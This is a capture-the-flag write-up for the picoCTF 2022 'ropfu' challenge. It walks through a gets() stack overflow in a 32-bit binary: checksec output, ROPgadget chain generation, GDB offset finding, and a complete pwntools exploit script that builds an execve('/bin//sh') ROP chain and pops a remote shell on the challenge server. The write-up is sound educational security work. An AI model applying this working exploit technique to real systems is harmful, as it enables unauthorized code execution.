pico22/pwn: ropfu

solver: enscribe
author: Sanjay C., Lt. "Syreal" Jones
files: vuln, vuln.c
What's ROP?
Can you exploit the following program to get the flag? Download source.
nc saturn.picoctf.net [PORT]
Warning: This is an instance-based challenge. Port info will be redacted alongside the last eight characters of the flag, as they are dynamic.
checksec.sh[github link]
$ checksec vuln
[*] '/home/kali/ctfs/pico22/ropfu/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

Hey, look: a classic β€œROP” (return-oriented programming) challenge with the source code provided! Let’s take a look:

vuln.c[download source]
1
2
3
4
5
6
7
8
9
10

11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 16

void vuln() {
    char buf[16];
    printf("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n");
    return gets(buf);

}

int main(int argc, char **argv) {
    setvbuf(stdout, NULL, _IONBF, 0);

    // Set the gid to the effective gid
    // this prevents /bin/sh from dropping the privileges
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    vuln();
}

The source only provides us with one vulnerable function: gets(). I’ve gone over this extremely unsafe function multiple times now, so feel free to read MITRE’s Common Weakness Enumeration page if you don’t know why. There is also no convenient function with execve("/bin/sh", 0, 0) in it (for obvious reasons), so we will have to insert our own shellcode.

Although we could totally solve this the old-fashioned way (as John Hammond did in his writeup), we can use the power of automation with a tool called ROPgadget! Let’s try using it here to automatically build the ROP-chain for us, which will eventually lead to a syscall:

auto rop-chain generation[github link]
$ ROPgadget --binary vuln --ropchain

ROP chain generation
===========================================================

- Step 1 -- Write-what-where gadgets

    [+] Gadget found: 0x8059102 mov dword ptr [edx], eax ; ret
    [+] Gadget found: 0x80583c9 pop edx ; pop ebx ; ret
    [+] Gadget found: 0x80b074a pop eax ; ret
    [+] Gadget found: 0x804fb90 xor eax, eax ; ret

- Step 2 -- Init syscall number gadgets

    [+] Gadget found: 0x804fb90 xor eax, eax ; ret
    [+] Gadget found: 0x808055e inc eax ; ret

- Step 3 -- Init syscall arguments gadgets

    [+] Gadget found: 0x8049022 pop ebx ; ret
    [+] Gadget found: 0x8049e39 pop ecx ; ret
    [+] Gadget found: 0x80583c9 pop edx ; pop ebx ; ret

- Step 4 -- Syscall gadget

    [+] Gadget found: 0x804a3d2 int 0x80

- Step 5 -- Build the ROP chain
(omitted for brevity, will be in final script!)

Oh, wow. It generated the entire script for us (unfortunately in Python2), with only a few missing bits and bobs! The only things we need to manually configure now are the offset and remote connection. Since the checksec mentioned that there was a canary enabled, it looks like we’ll have to manually guess the offset with the $eip:

GDB - "GDB enhanced features"[documentation]
gef➀  shell python3 -q
>>> print('A'*28 + 'B'*4)
AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
>>> 
gef➀  r
Starting program: /home/kali/ctfs/pico22/ropfu/vuln 
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!
AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffd540  β†’  "AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB"
$ebx   : 0x41414141 ("AAAA"?)
$ecx   : 0x80e5300  β†’  <_IO_2_1_stdin_+0> mov BYTE PTR [edx], ah
$edx   : 0xffffd560  β†’  0x80e5000  β†’  <_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax]
$esp   : 0xffffd560  β†’  0x80e5000  β†’  <_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax]
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0x80e5000  β†’  <_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax], al
$edi   : 0x80e5000  β†’  <_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax], al
$eip   : 0x42424242 ("BBBB"?)
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x42424242
────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln", stopped 0x42424242 in ?? (), reason: SIGSEGV

The offset is 28, as we’ve successfully loaded 4 hex Bs into the $eip. Our last step is to set up the remote connection with pwntools. Here is my final script:

ropfu.py[github gist link]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python2
from pwn import *
from struct import pack

payload = 'A'*28

payload += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
payload += pack('<I', 0x080e5060) # @ .data
payload += pack('<I', 0x41414141) # padding
payload += pack('<I', 0x080b074a) # pop eax ; ret
payload += '/bin'
payload += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
payload += pack('<I', 0x080e5064) # @ .data + 4
payload += pack('<I', 0x41414141) # padding
payload += pack('<I', 0x080b074a) # pop eax ; ret
payload += '//sh'
payload += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
payload += pack('<I', 0x080e5068) # @ .data + 8
payload += pack('<I', 0x41414141) # padding
payload += pack('<I', 0x0804fb90) # xor eax, eax ; ret
payload += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x08049022) # pop ebx ; ret
payload += pack('<I', 0x080e5060) # @ .data
payload += pack('<I', 0x08049e39) # pop ecx ; ret
payload += pack('<I', 0x080e5068) # @ .data + 8
payload += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
payload += pack('<I', 0x080e5068) # @ .data + 8
payload += pack('<I', 0x080e5060) # padding without overwrite ebx
payload += pack('<I', 0x0804fb90) # xor eax, eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0804a3d2) # int 0x80

p = remote("saturn.picoctf.net", [PORT])
log.info(p.recvS())
p.sendline(payload)
p.interactive()

Let’s run the script:

$  python2 exp.py
python2 exp.py
[+] Opening connection to saturn.picoctf.net on port 58931: Done
[*] How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!
[*] Switching to interactive mode
$ whoami
root
$ ls
flag.txt
vuln
$ cat flag.txt
picoCTF{5n47ch_7h3_5h311_[REDACTED]}$  

I know the way of ROP-fu, old man. Your shell has been snatched.